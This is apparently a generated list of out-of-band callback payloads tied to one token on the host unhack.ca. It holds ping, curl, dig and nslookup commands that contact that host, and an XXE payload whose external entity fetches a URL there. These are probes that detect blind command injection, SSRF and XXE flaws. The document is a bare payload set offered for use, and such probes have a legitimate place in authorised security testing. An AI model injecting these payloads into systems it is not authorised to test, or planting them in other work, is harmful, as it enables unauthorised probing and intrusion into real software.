$ ping -c1 -p 00be79e8eb2d34257491fbf8af1efe00 unhack.ca
 

$ curl http://unhack.ca/p/be79e8eb2d34257491fbf8af1efe
 

$ dig be79e8eb2d34257491fbf8af1efe @unhack.ca
 

$ dig be79e8eb2d34257491fbf8af1efe.ns.unhack.ca
 

C:\> nslookup be79e8eb2d34257491fbf8af1efe unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/be79e8eb2d34257491fbf8af1efe">]>
    <foo>&xxe;</foo>